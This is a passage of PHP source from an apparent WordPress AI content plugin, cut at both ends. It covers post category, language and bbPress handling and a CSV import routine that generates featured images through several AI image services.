                                            $extra_cats = explode(',', $my_post['extra_categories']);
                                            if($post_type == 'product')
                                            {
                                                $product_tax = 'product_cat';
                                            }
                                            else
                                            {
                                                $product_tax = 'category';
                                            }
                                            foreach($extra_cats as $extra_cat)
                                            {
                                                $extra_cat = trim($extra_cat);
                                                $extra_cat = strip_tags($extra_cat);
                                                $extra_cat = preg_replace('#^\d+\.\s*#', '', $extra_cat);
                                                if(empty($extra_cat))
                                                {
                                                    continue;
                                                }
                                                if ($skip_inexist == '1') 
                                                {
                                                    if(!term_exists($extra_cat, $product_tax))
                                                    {
                                                        continue;
                                                    }
                                                }
                                                $termid = aiomatic_create_terms($product_tax, null, trim($extra_cat));
                                                wp_set_post_terms($post_id, $termid, $product_tax, true);
                                                if($wpml_lang != '' && function_exists('pll_set_term_language'))
                                                {
                                                    foreach($termid as $tx)
                                                    {
                                                        pll_set_term_language($tx, $wpml_lang); 
                                                    }
                                                }
                                                elseif($wpml_lang != '' && has_filter('wpml_object_id'))
                                                {
                                                    $wpml_element_type = apply_filters( 'wpml_element_type', 'product_cat' );
                                                    foreach($termid as $tx)
                                                    {
                                                        $pars['element_id'] = $tx;
                                                        $pars['element_type'] = $wpml_element_type;
                                                        $pars['language_code'] = $wpml_lang;
                                                        $pars['trid'] = FALSE;
                                                        $pars['source_language_code'] = NULL;
                                                        do_action('wpml_set_element_language_details', $pars);
                                                    }
                                                }
                                            }
                                        }
                                    }
                                    if (isset($default_category) && $default_category !== 'aiomatic_no_category_12345678' && $default_category[0] !== 'aiomatic_no_category_12345678') {
                                        $cats   = array();
                                        if(is_array($default_category))
                                        {
                                            foreach($default_category as $dc)
                                            {
                                                $cats[] = $dc;
                                            }
                                        }
                                        else
                                        {
                                            $cats[] = $default_category;
                                        }
                                        global $sitepress;
                                        if($wpml_lang != '' && has_filter('wpml_current_language') && $sitepress != null)
                                        {
                                            $current_language = apply_filters( 'wpml_current_language', NULL );
                                            $sitepress->switch_lang($wpml_lang);
                                        }
                                        wp_set_post_categories($post_id, $cats, true);
                                        if($wpml_lang != '' && function_exists('pll_set_term_language'))
                                        {
                                            foreach($cats as $cc)
                                            {
                                                pll_set_term_language($cc, $wpml_lang);
                                            }
                                        }
                                        elseif($wpml_lang != '' && has_filter('wpml_current_language') && $sitepress != null)
                                        {
                                            $sitepress->switch_lang($current_language);
                                        }
                                    }
                                    if (isset($my_post['tags_input']) && $my_post['tags_input'] != '')
                                    {
                                        if($post_type == 'product')
                                        {
                                            wp_set_post_terms($post_id, $my_post['tags_input'], 'product_tag', true);
                                        }
                                    }
                                    $tax_rez = wp_set_object_terms( $post_id, 'aiomatic_' . $type . '_' . $param, 'coderevolution_post_source', true);
                                    if (is_wp_error($tax_rez)) {
                                        if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                            aiomatic_log_to_file('wp_set_object_terms failed for: ' . $post_id . '!');
                                        }
                                    }
                                    if($post_type == 'topic' && $parent_id != '')
                                    {
                                        update_post_meta($post_id, '_bbp_forum_id', $parent_id);
                                        update_post_meta($post_id, '_bbp_topic_id', $post_id);
                                        update_post_meta($post_id, '_bbp_voice_count', '0');
                                        update_post_meta($post_id, '_bbp_reply_count', '0');
                                        update_post_meta($post_id, '_bbp_reply_count_hidden', '0');
                                        update_post_meta($post_id, '_bbp_last_reply_id', '0');
                                        update_post_meta($post_id, '_bbp_last_active_id', $post_id);
                                        update_post_meta($post_id, '_bbp_last_active_time', get_post_field( 'post_date', $topic_id, 'db' ));
                                        do_action( 'bbp_insert_topic', (int) $post_id, (int) $parent_id );
                                    }
                                    if($post_type == 'reply' && $parent_id != '')
                                    {
                                        if(function_exists('bbp_get_topic_forum_id'))
                                        {
                                            $forum_aidi = bbp_get_topic_forum_id($parent_id);
                                            if(empty($forum_aidi))
                                            {
                                                $forum_aidi = 0;
                                            }
                                        }
                                        else
                                        {
                                            $forum_aidi = 0;
                                        }
                                        do_action( 'bbp_insert_reply', (int) $post_id, (int) $parent_id, (int) $forum_aidi );
                                    }
                                    if($remove_default == '1' && ($auto_categories != 'disabled' || (isset($default_category) && $default_category !== 'aiomatic_no_category_12345678' && $default_category[0] !== 'aiomatic_no_category_12345678')))
                                    {
                                        $new_categories = wp_get_post_categories($post_id);
                                        if(isset($default_categories) && !($default_categories == $new_categories))
                                        {
                                            foreach($default_categories as $dc)
                                            {
                                                $rem_cat = get_category( $dc );
                                                wp_remove_object_terms( $post_id, $rem_cat->slug, 'category' );
                                            }
                                        }
                                    }
                                    aiomatic_addPostMeta($post_id, $my_post, $param, $type, $featured_path, $post_topic, $rule_unique_id, $post_link);
                                    if($wpml_lang != '' && (class_exists('SitePress') || function_exists('wpml_object_id')))
                                    {
                                        $wpml_element_type = apply_filters( 'wpml_element_type', $post_type );
                                        $pars['element_id'] = $post_id;
                                        $pars['element_type'] = $wpml_element_type;
                                        $pars['language_code'] = $wpml_lang;
                                        $pars['source_language_code'] = NULL;
                                        do_action('wpml_set_element_language_details', $pars);
            
                                        global $wp_filesystem;
                                        if ( ! is_a( $wp_filesystem, 'WP_Filesystem_Base') ){
                                            include_once(ABSPATH . 'wp-admin/includes/file.php');$creds = request_filesystem_credentials( site_url() );
                                            wp_filesystem($creds);
                                        }
                                        if($wp_filesystem->exists(WP_PLUGIN_DIR . '/sitepress-multilingual-cms/inc/wpml-api.php'))
                                        {
                                            include_once( WP_PLUGIN_DIR . '/sitepress-multilingual-cms/inc/wpml-api.php' );
                                        }
                                        $wpml_lang = trim($wpml_lang);
                                        if(function_exists('wpml_update_translatable_content'))
                                        {
                                            wpml_update_translatable_content('post_' . $post_type, $post_id, $wpml_lang);
                                            if($my_post['post_title'] != '')
                                            {
                                                global $sitepress;
                                                global $wpdb;
                                                $keyid = md5($my_post['post_title']);
                                                $keyName = $keyid . '_wpml';
                                                $rezxxxa = $wpdb->get_results( "SELECT * FROM {$wpdb->prefix}postmeta WHERE `meta_key` = '$keyName' limit 1", ARRAY_A );
                                                if(count($rezxxxa) != 0)
                                                {
                                                    $metaRow = $rezxxxa[0];
                                                    $metaValue = $metaRow['meta_value'];
                                                    $metaParts = explode('_', $metaValue);
                                                    $sitepress->set_element_language_details($post_id, 'post_'.$my_post['post_type'] , $metaParts[0], $wpml_lang, $metaParts[1] ); 
                                                }
                                                else
                                                {
                                                    $ptrid = $sitepress->get_element_trid($post_id);
                                                    update_post_meta($post_id, $keyid.'_wpml', $ptrid.'_'.$wpml_lang );
                                                }
                                            }
                                            
                                        }
                                    }
                                    if (isset($aiomatic_Main_Settings['draft_first']) && $aiomatic_Main_Settings['draft_first'] == 'on' && $draft_me == true)
                                    {
                                        aiomatic_change_post_status($post_id, 'publish');
                                    }
                                } else {
                                    aiomatic_log_to_file('Failed to insert post into wp database(4)! Title:' . $my_post['post_title'] . '! Error: ' . $post_id->get_error_message() . 'Error code: ' . $post_id->get_error_code() . 'Error data: ' . $post_id->get_error_data());
                                    continue;
                                }
                            }
                        }
                        elseif($type == '4')
                        {
                            if($post_title != '')
                            {
                                $post_title_lines = preg_split('/\r\n|\r|\n/', $post_title);
                            }
                            else
                            {
                                $post_title_lines = array();
                            }
                            $raw_img_list = array();
                            $full_result_list = array();
                            $user_name        = '';
                            $featured_image   = '';
                            $post_cats = '';
                            $post_tagz = '';
                            $post_excerpt = '';
                            $final_content = '';
                            $postID = '';
                            $heading_val = '';
                            $image_query = '';
                            $temp_post = '';
                            $cntx = count($post_title_lines);
                            shuffle($post_title_lines);
                            $rss_feeds = array();
                            $csv_data = array();
                            $my_csv = '';
                            for($ji = 0; $ji < $cntx; $ji++)
                            {
                                $txt_content = aiomatic_get_web_page($post_title_lines[$ji]);
                                if ($txt_content === FALSE) 
                                {
                                    aiomatic_log_to_file('Failed to read csv file: ' . $post_title_lines[$ji]);
                                    if($auto == 1)
                                    {
                                        aiomatic_log_to_file($param);
                                    }
                                    continue;
                                }
                                $my_csv = $post_title_lines[$ji];
                                try
                                {
                                    if(!class_exists('\ParseCsv\Csv'))
                                    {
                                        require_once(dirname(__FILE__) . "/res/parsecsv/src/enums/AbstractEnum.php");
                                        require_once(dirname(__FILE__) . "/res/parsecsv/src/enums/DatatypeEnum.php");
                                        require_once(dirname(__FILE__) . "/res/parsecsv/src/enums/FileProcessingModeEnum.php");
                                        require_once(dirname(__FILE__) . "/res/parsecsv/src/enums/SortEnum.php");
                                        require_once(dirname(__FILE__) . "/res/parsecsv/src/extensions/DatatypeTrait.php");
                                        require_once(dirname(__FILE__) . "/res/parsecsv/src/Csv.php");
                                    }
                                    $csv = new \ParseCsv\Csv();
                                    if($csv_separator == '')
                                    {
                                        $csv->autoDirectData($txt_content);
                                    }
                                    else
                                    {
                                        $csv->delimiter = $csv_separator;
                                        $csv->parseData($txt_content);
                                    }
                                    $csv_data = $csv->data;
                                }
                                catch(Exception $e)
                                {
                                    if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                        aiomatic_log_to_file('Failed to load csv file: Exception thrown ' . esc_html($e->getMessage()) . '!');
                                    }
                                    continue;
                                }
                                break;
                            }
                            if(!is_array($csv_data) || count($csv_data) == 0)
                            {
                                if(is_array($csv_data))
                                {
                                    $csv_data = print_r($csv_data, true);
                                }
                                if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                    aiomatic_log_to_file('Failed to parse csv file data ' . esc_html($csv_data));
                                }
                                return 'fail';
                            }
                            
                            $spintax = new AIomatic_Spintax();
                            $already_spinned = 0;
                            if(isset($aiomatic_Main_Settings['attr_text']) && $aiomatic_Main_Settings['attr_text'] != '')
                            {
                                $img_attr = $aiomatic_Main_Settings['attr_text'];
                            }
                            else
                            {
                                $img_attr = '';
                            }
                            if($title_once == '1')
                            {
                                $skipt = 0;
                                foreach($csv_data as $indx => $csv)
                                {
                                    if(!isset($csv['post_title']))
                                    {
                                        aiomatic_log_to_file('Incorrect CSV file structure, post_title heading not found, please check! ' . print_r($my_csv, true));
                                        return 'false';
                                    }
                                    $csv_original_title = $csv['post_title'];
                                    if(array_key_exists($csv_original_title, $posted_items))
                                    {
                                        aiomatic_log_to_file('Skipping CSV title, already processed: ' . $csv_original_title);
                                        unset($csv_data[$indx]);
                                        $skipt++;
                                    }
                                }
                                if(count($csv_data) == 0 && $skipt > 0)
                                {
                                    if (isset($aiomatic_Main_Settings['email_notification']) && $aiomatic_Main_Settings['email_notification'] != '')
                                    {
                                        if($count === 1)
                                        {
                                            $email_list = explode(',', $aiomatic_Main_Settings['email_notification']);
                                            foreach($email_list as $thisaddr)
                                            {
                                                $thisaddr = trim($thisaddr);
                                                try
                                                {
                                                    $to        = $thisaddr;
                                                    $subject   = '[Aiomatic] CSV Titles depleted rule ID ' . $param . ' - ' . aiomatic_get_date_now();
                                                    $message   = 'CSV Rule ID ' . esc_html($param) . ' (' . $rule_description . ') depleted its titles, no new posts publised! Website URL: ' . get_site_url();
                                                    $headers[] = 'From: Aiomatic Plugin <aiomatic@noreply.net>';
                                                    $headers[] = 'Reply-To: noreply@noreply.net';
                                                    $headers[] = 'X-Mailer: PHP/' . phpversion();
                                                    $headers[] = 'Content-Type: text/html';
                                                    $headers[] = 'Charset: ' . get_option('blog_charset', 'UTF-8');
                                                    wp_mail($to, $subject, $message, $headers);
                                                }
                                                catch (Exception $e) {
                                                    if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                                        aiomatic_log_to_file('Failed to send mail: Exception thrown ' . esc_html($e->getMessage()) . '!');
                                                    }
                                                }
                                            }
                                        }
                                    }
                                    aiomatic_log_to_file('All CSV titles already processed, nothing to do.');
                                    if($auto == 1)
                                    {
                                        aiomatic_clearFromList($param, $type);
                                    }
                                    return 'nochange';
                                }
                            }
                            if($random_order == '1')
                            {
                                shuffle($csv_data);
                            }
                            $data_id = 1;
                            foreach($csv_data as $csv)
                            {
                                $thread_id = '';
                                aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Processing CSV data #' . $data_id));
                                $data_id++;
                                $update_post_id  = '';
                                if ($count > intval($max)) 
                                {
                                    break;
                                }
                                if(!isset($csv['post_title']))
                                {
                                    aiomatic_log_to_file('Incorrect CSV file structure, post_title heading not found! ' . print_r($my_csv, true));
                                    return 'false';
                                }
                                if(!isset($csv['post_content']))
                                {
                                    aiomatic_log_to_file('Incorrect CSV file structure, post_content heading not found! ' . print_r($my_csv, true));
                                    return 'false';
                                }
                                if(!isset($csv['post_excerpt']))
                                {
                                    aiomatic_log_to_file('Incorrect CSV file structure, post_excerpt heading not found! ' . print_r($my_csv, true));
                                    return 'false';
                                }
                                if(empty($csv['post_title']) && empty($csv['post_content']) && empty($csv['post_excerpt']))
                                {
                                    aiomatic_log_to_file('Blank post title/content/excerpt entered, skipping: ' . print_r($my_csv, true));
                                    continue;
                                }
                                if(!isset($csv['post_categories']))
                                {
                                    aiomatic_log_to_file('Incorrect CSV file structure, post_categories heading not found! ' . print_r($my_csv, true));
                                    return 'false';
                                }
                                if(!isset($csv['post_tags']))
                                {
                                    aiomatic_log_to_file('Incorrect CSV file structure, post_tags heading not found! ' . print_r($my_csv, true));
                                    return 'false';
                                }
                                if(!isset($csv['featured_image']))
                                {
                                    aiomatic_log_to_file('Incorrect CSV file structure, featured_image heading not found! ' . print_r($my_csv, true));
                                    return 'false';
                                }
                                if(!isset($csv['featured_image_generator']))
                                {
                                    aiomatic_log_to_file('Incorrect CSV file structure, featured_image_generator heading not found! ' . print_r($my_csv, true));
                                    return 'false';
                                }
                                if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                {
                                    aiomatic_log_to_file('Starting processing CSV title: ' . $csv['post_title']);
                                }
                                $csv_original_title = $csv['post_title'];
                                foreach($csv as $ind => $valx)
                                {
                                    foreach($csv as $repl_ind => $repl_valx)
                                    {
                                        if($ind != $repl_ind)
                                        {
                                            if(strstr($csv[$ind], '%%' . $repl_ind . '%%') !== false)
                                            {
                                                if(strstr($repl_valx, '[aicontent') !== false)
                                                {
                                                    $repl_valx = apply_filters('aiomatic_replace_aicontent_shortcode', $repl_valx);
                                                    $csv[$repl_ind] = $repl_valx;
                                                }
                                                $csv[$ind] = str_replace('%%' . $repl_ind . '%%', $repl_valx, $csv[$ind]);
                                            }
                                        }
                                    }
                                    $csv[$ind] = aiomatic_replaceSynergyShortcodes($csv[$ind]);
                                }
                                if (!isset($aiomatic_Main_Settings['do_not_check_duplicates']) || $aiomatic_Main_Settings['do_not_check_duplicates'] != 'on') 
                                {
                                    if(!stristr($csv['post_title'], '[aicontent'))
                                    {
                                        $xposts = get_posts(
                                            array(
                                                'post_type'              => $post_type,
                                                'title'                  => html_entity_decode($csv['post_title']),
                                                'post_status'            => 'all',
                                                'numberposts'            => 1,
                                                'update_post_term_cache' => false,
                                                'update_post_meta_cache' => false,           
                                                'orderby'                => 'post_date ID',
                                                'order'                  => 'ASC',
                                            )
                                        );
                                        if ( ! empty( $xposts ) ) {
                                            $zap = $xposts[0];
                                        } else {
                                            $zap = null;
                                        }
                                        if($zap !== null)
                                        {
                                            if($overwrite_existing)
                                            {
                                                $update_post_id = $zap->ID;
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Post with specified title is already existing, we are skipping it: ' . $csv['post_title']);
                                                continue;
                                            }
                                        }
                                    }
                                }
                                foreach($csv as $ind => $initial_value)
                                {
                                    $is_ai_content = false;
                                    if(strstr($initial_value, '[aicontent') !== false)
                                    {
                                        $is_ai_content = true;
                                    }
                                    $csv[$ind] = apply_filters('aiomatic_replace_aicontent_shortcode', $csv[$ind]);
                                    if($is_ai_content)
                                    {
                                        foreach($csv as $ind2 => $initial_value_again)
                                        {
                                            if($ind2 !== $ind && strstr($initial_value_again, $initial_value) !== false)
                                            {
                                                $csv[$ind2] = str_replace($initial_value, $csv[$ind], $csv[$ind2]);
                                            }
                                        }
                                    }
                                }
                                if (!isset($aiomatic_Main_Settings['do_not_check_duplicates']) || $aiomatic_Main_Settings['do_not_check_duplicates'] != 'on') 
                                {
                                    $xposts = get_posts(
                                        array(
                                            'post_type'              => $post_type,
                                            'title'                  => html_entity_decode($csv['post_title']),
                                            'post_status'            => 'all',
                                            'numberposts'            => 1,
                                            'update_post_term_cache' => false,
                                            'update_post_meta_cache' => false,           
                                            'orderby'                => 'post_date ID',
                                            'order'                  => 'ASC',
                                        )
                                    );
                                    if ( ! empty( $xposts ) ) {
                                        $zap = $xposts[0];
                                    } else {
                                        $zap = null;
                                    }
                                    if($zap !== null)
                                    {
                                        if($overwrite_existing)
                                        {
                                            $update_post_id = $zap->ID;
                                        }
                                        else
                                        {
                                            aiomatic_log_to_file('Post with specified title is already existing, skipping it: ' . $csv['post_title']);
                                            continue;
                                        }
                                    }
                                }
                                if($update_post_id != '')
                                {
                                    $csv['ID'] = $update_post_id;
                                    $postID = $update_post_id;
                                }
                                $get_img = '';
                                if($csv['featured_image_generator'] !== 'none' && $csv['featured_image_generator'] != '')
                                {
                                    if(stristr($csv['featured_image_generator'], 'manual') !== false)
                                    {
                                        if(trim($csv['featured_image']) != '')
                                        {
                                            $get_img = trim($csv['featured_image']);
                                        }
                                    }
                                    elseif(stristr($csv['featured_image_generator'], 'openai') !== false || stristr($csv['featured_image_generator'], 'aiomaticapi') !== false)
                                    {
                                        $query_words = trim($csv['featured_image']);
                                        if($query_words != '')
                                        {
                                            $ai_command_image = $query_words;
                                            if(strlen($ai_command_image) > 400)
                                            {
                                                $ai_command_image = aiomatic_substr($ai_command_image, 0, 400);
                                            }
                                            $image_model = 'dalle2';
                                            if(isset($csv['image_model']) && trim($csv['image_model']) !== '')
                                            {
                                                $image_model_temp = trim($csv['image_model']);
                                                if(!in_array($image_model_temp, AIOMATIC_DALLE_IMAGE_MODELS))
                                                {
                                                    aiomatic_log_to_file('Incorrect Dall-E image model provided ' . $image_model_temp);
                                                }
                                                else
                                                {
                                                    $image_model = $image_model_temp;
                                                }
                                            }
                                            if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                            {
                                                $api_service = aiomatic_get_api_service($token, $image_model);
                                                aiomatic_log_to_file('Calling ' . $api_service . ' for featured image: ' . $ai_command_image);
                                            }
                                            $skip_this_copy = true;
                                            if(!function_exists('is_plugin_active'))
                                            {
                                                include_once( ABSPATH . 'wp-admin/includes/plugin.php' );
                                            }
                                            if ((is_plugin_active('featured-image-from-url/featured-image-from-url.php') || is_plugin_active('fifu-premium/fifu-premium.php')) && isset($aiomatic_Main_Settings['url_image']) && trim($aiomatic_Main_Settings['url_image']) == 'on') 
                                            {
                                                $skip_this_copy = false;
                                            }
                                            if (isset($aiomatic_Main_Settings['copy_locally']) && $aiomatic_Main_Settings['copy_locally'] == 'on')
                                            {
                                                $skip_this_copy = false;
                                            }
                                            $aierror = '';
                                            aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Processing AI image'));
                                            $get_img = aiomatic_generate_ai_image($token, 1, $ai_command_image, $image_size, 'featuredImage', $skip_this_copy, 0, $aierror, $image_model);
                                            if($get_img !== false)
                                            {
                                                foreach($get_img as $tmpimg)
                                                {
                                                    $get_img = $tmpimg;
                                                    break;
                                                }
                                                if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                                {
                                                    aiomatic_log_to_file('AI generated featured image returned: ' . $get_img);
                                                }
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Failed to generate AI featured image: ' . $aierror);
                                                $get_img = '';
                                            }
                                        }
                                        else
                                        {
                                            aiomatic_log_to_file('Empty AI featured image query entered, nothing to do.');
                                        }
                                    }
                                    elseif(stristr($csv['featured_image_generator'], 'stability') !== false)
                                    {
                                        $query_words = trim($csv['featured_image']);
                                        if($query_words != '')
                                        {
                                            $ai_command_image = $query_words;
                                            if(strlen($ai_command_image) > 2000)
                                            {
                                                $ai_command_image = aiomatic_substr($ai_command_image, 0, 2000);
                                            }
                                            if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                            {
                                                $api_service = 'Stability.AI';
                                                aiomatic_log_to_file('Calling ' . $api_service . ' for featured image: ' . $ai_command_image);
                                            }
                                            if($image_size == '256x256')
                                            {
                                                $width = '512';
                                                $height = '512';
                                            }
                                            elseif($image_size == '512x512')
                                            {
                                                $width = '512';
                                                $height = '512';
                                            }
                                            elseif($image_size == '1024x1024')
                                            {
                                                $width = '1024';
                                                $height = '1024';
                                            }
                                            else
                                            {
                                                $width = '512';
                                                $height = '512';
                                            }
                                            $skip_this_copy = true;
                                            if(!function_exists('is_plugin_active'))
                                            {
                                                include_once( ABSPATH . 'wp-admin/includes/plugin.php' );
                                            }
                                            if ((is_plugin_active('featured-image-from-url/featured-image-from-url.php') || is_plugin_active('fifu-premium/fifu-premium.php')) && isset($aiomatic_Main_Settings['url_image']) && trim($aiomatic_Main_Settings['url_image']) == 'on') 
                                            {
                                                $skip_this_copy = false;
                                            }
                                            $ierror = '';
                                            aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Processing Stable Diffusion AI image'));
                                            $get_img = aiomatic_generate_stability_image($ai_command_image, $height, $width, 'featuredStableImage', 0, false, $ierror, $skip_this_copy, false);
                                            if($get_img !== false)
                                            {
                                                if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                                {
                                                    aiomatic_log_to_file('AI generated featured image returned: ' . $get_img[1]);
                                                }
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Failed to generate Stability.AI featured image: ' . $ierror);
                                                $get_img = '';
                                            }
                                        }
                                    }
                                    elseif(stristr($csv['featured_image_generator'], 'midjourney') !== false)
                                    {
                                        $query_words = trim($csv['featured_image']);
                                        if($query_words != '')
                                        {
                                            $ai_command_image = $query_words;
                                            if(strlen($ai_command_image) > 2000)
                                            {
                                                $ai_command_image = aiomatic_substr($ai_command_image, 0, 2000);
                                            }
                                            if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                            {
                                                $api_service = 'Midjourney';
                                                aiomatic_log_to_file('Calling ' . $api_service . ' for featured image: ' . $ai_command_image);
                                            }
                                            if($image_size == '256x256')
                                            {
                                                $width = '512';
                                                $height = '512';
                                            }
                                            elseif($image_size == '512x512')
                                            {
                                                $width = '512';
                                                $height = '512';
                                            }
                                            elseif($image_size == '1024x1024')
                                            {
                                                $width = '1024';
                                                $height = '1024';
                                            }
                                            elseif($image_size == '1792x1024')
                                            {
                                                $width = '1792';
                                                $height = '1024';
                                            }
                                            elseif($image_size == '1024x1792')
                                            {
                                                $width = '1024';
                                                $height = '1792';
                                            }
                                            else
                                            {
                                                $width = '512';
                                                $height = '512';
                                            }
                                            $skip_this_copy = true;
                                            if(!function_exists('is_plugin_active'))
                                            {
                                                include_once( ABSPATH . 'wp-admin/includes/plugin.php' );
                                            }
                                            if ((is_plugin_active('featured-image-from-url/featured-image-from-url.php') || is_plugin_active('fifu-premium/fifu-premium.php')) && isset($aiomatic_Main_Settings['url_image']) && trim($aiomatic_Main_Settings['url_image']) == 'on') 
                                            {
                                                $skip_this_copy = false;
                                            }
                                            $ierror = '';
                                            aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Processing Midjourney AI image'));
                                            $get_img = aiomatic_generate_ai_image_midjourney($ai_command_image, $width, $height, 'featuredMidjourneyImage', $skip_this_copy, $ierror);
                                            if($get_img !== false)
                                            {
                                                if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                                {
                                                    aiomatic_log_to_file('AI generated featured image returned: ' . $get_img[1]);
                                                }
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Failed to generate Midjourney featured image: ' . $ierror);
                                                $get_img = '';
                                            }
                                        }
                                    }
                                    else
                                    {
                                        $image_query = trim($csv['featured_image']);
                                        if(empty($image_query))
                                        {
                                            $image_query = trim($csv['post_title']);
                                        }
                                        if(isset($aiomatic_Main_Settings['improve_keywords']) && trim($aiomatic_Main_Settings['improve_keywords']) == 'textrazor')
                                        {
                                            if(isset($aiomatic_Main_Settings['textrazor_key']) && trim($aiomatic_Main_Settings['textrazor_key']) != '')
                                            {
                                                try
                                                {
                                                    if(!class_exists('TextRazor'))
                                                    {
                                                        require_once(dirname(__FILE__) . "/res/TextRazor.php");
                                                    }
                                                    TextRazorSettings::setApiKey(trim($aiomatic_Main_Settings['textrazor_key']));
                                                    $textrazor = new TextRazor();
                                                    $textrazor->addExtractor('entities');
                                                    $response = $textrazor->analyze($image_query);
                                                    if (isset($response['response']['entities'])) 
                                                    {
                                                        foreach ($response['response']['entities'] as $entity) 
                                                        {
                                                            $query_words = '';
                                                            if(isset($entity['entityEnglishId']))
                                                            {
                                                                $query_words = $entity['entityEnglishId'];
                                                            }
                                                            else
                                                            {
                                                                $query_words = $entity['entityId'];
                                                            }
                                                            if($query_words != '')
                                                            {
                                                                $z_img = aiomatic_get_free_image($aiomatic_Main_Settings, $query_words, $img_attr, 10, true, $raw_img_list, array(), $full_result_list);
                                                                if(!empty($z_img))
                                                                {
                                                                    $get_img = $z_img;
                                                                    $go_local_image = false;
                                                                    if(!function_exists('is_plugin_active'))
                                                                    {
                                                                        include_once( ABSPATH . 'wp-admin/includes/plugin.php' );
                                                                    }
                                                                    if ((is_plugin_active('featured-image-from-url/featured-image-from-url.php') || is_plugin_active('fifu-premium/fifu-premium.php')) && isset($aiomatic_Main_Settings['url_image']) && trim($aiomatic_Main_Settings['url_image']) == 'on' && isset($aiomatic_Main_Settings['copy_locally']) && $aiomatic_Main_Settings['copy_locally'] != 'disabled' && $aiomatic_Main_Settings['copy_locally'] != 'on') 
                                                                    {
                                                                        $go_local_image = true;
                                                                    }
                                                                    if($go_local_image == true)
                                                                    {
                                                                        $localpath = aiomatic_copy_image_locally($get_img);
                                                                        if($localpath !== false)
                                                                        {
                                                                            $get_img = $localpath[0];
                                                                        }
                                                                    }
                                                                    if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                                                        aiomatic_log_to_file('Royalty Free Image Generated with help of TextRazor (kw: "' . $query_words . '"): ' . $z_img);
                                                                    }
                                                                    break;
                                                                }
                                                            }
                                                        }
                                                    }
                                                }
                                                catch(Exception $e)
                                                {
                                                    if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                                        aiomatic_log_to_file('Failed to search for keywords using TextRazor (2): ' . $e->getMessage());
                                                    }
                                                }
                                            }
                                        }
                                        elseif(isset($aiomatic_Main_Settings['improve_keywords']) && trim($aiomatic_Main_Settings['improve_keywords']) == 'openai')
                                        {
                                            if(isset($aiomatic_Main_Settings['keyword_prompts']) && trim($aiomatic_Main_Settings['keyword_prompts']) != '')
                                            {
                                                if(isset($aiomatic_Main_Settings['keyword_model']) && $aiomatic_Main_Settings['keyword_model'] != '')
                                                {
                                                    $kw_model = $aiomatic_Main_Settings['keyword_model'];
                                                }
                                                else
                                                {
                                                    $kw_model = get_default_model_name($aiomatic_Main_Settings);
                                                }
                                                if(isset($aiomatic_Main_Settings['keyword_assistant_id']) && $aiomatic_Main_Settings['keyword_assistant_id'] != '')
                                                {
                                                    $keyword_assistant_id = $aiomatic_Main_Settings['keyword_assistant_id'];
                                                }
                                                else
                                                {
                                                    $keyword_assistant_id = '';
                                                }
                                                $title_ai_command = trim($aiomatic_Main_Settings['keyword_prompts']);
                                                $title_ai_command = str_replace('%%default_post_cats%%', $default_cat_list, $title_ai_command);
                                                if(!isset($aiomatic_Main_Settings['whole_prompt']) || trim($aiomatic_Main_Settings['whole_prompt']) != 'on')
                                                {
                                                    $title_ai_command = preg_split('/\r\n|\r|\n/', $title_ai_command);
                                                    $title_ai_command = array_filter($title_ai_command);
                                                    if(count($title_ai_command) > 0)
                                                    {
                                                        $title_ai_command = $title_ai_command[array_rand($title_ai_command)];
                                                    }
                                                    else
                                                    {
                                                        $title_ai_command = '';
                                                    }
                                                }
                                                $title_ai_command = aiomatic_replaceSynergyShortcodes($title_ai_command);
                                                if(!empty($title_ai_command))
                                                {
                                                    $title_ai_command = replaceAIPostShortcodes($title_ai_command, $post_link, $csv['post_title'], $blog_title, $csv['post_excerpt'], $csv['post_content'], $user_name, '', $csv['post_categories'], $csv['post_tags'], $postID, $img_attr, '', '', '', '', '');
                                                }
                                                $title_ai_command = trim($title_ai_command);
                                                if (filter_var($title_ai_command, FILTER_VALIDATE_URL) !== false && aiomatic_endsWith($title_ai_command, '.txt'))
                                                {
                                                    $txt_content = aiomatic_get_web_page($title_ai_command);
                                                    if ($txt_content !== FALSE) 
                                                    {
                                                        $txt_content = preg_split('/\r\n|\r|\n/', $txt_content);
                                                        $txt_content = array_filter($txt_content);
                                                        if(count($txt_content) > 0)
                                                        {
                                                            $txt_content = $txt_content[array_rand($txt_content)];
                                                            if(trim($txt_content) != '') 
                                                            {
                                                                $title_ai_command = $txt_content;
                                                                $title_ai_command = aiomatic_replaceSynergyShortcodes($title_ai_command);
                                                                $title_ai_command = replaceAIPostShortcodes($title_ai_command, $post_link, $csv['post_title'], $blog_title, $csv['post_excerpt'], $csv['post_content'], $user_name, '', $csv['post_categories'], $csv['post_tags'], $postID, $img_attr, '', '', '', '', '');
                                                            }
                                                        }
                                                    }
                                                }
                                                if(empty($title_ai_command))
                                                {
                                                    aiomatic_log_to_file('Empty API keyword extractor seed expression provided!');
                                                    $title_ai_command = 'Type the most relevant keyword, no other text before or after it, for a blog post titled:  ' . trim(strip_tags($post_title));
                                                } 
                                                if(strlen($title_ai_command) > $max_seed_tokens * 4)
                                                {
                                                    $title_ai_command = aiomatic_substr($title_ai_command, 0, (0 - ($max_seed_tokens * 4)));
                                                }
                                                $title_ai_command = trim($title_ai_command);
                                                if(empty($title_ai_command))
                                                {
                                                    aiomatic_log_to_file('Empty API title seed expression provided(3)! ' . print_r($title_ai_command, true));
                                                }
                                                else
                                                {
                                                    $query_token_count = count(aiomatic_encode($title_ai_command));
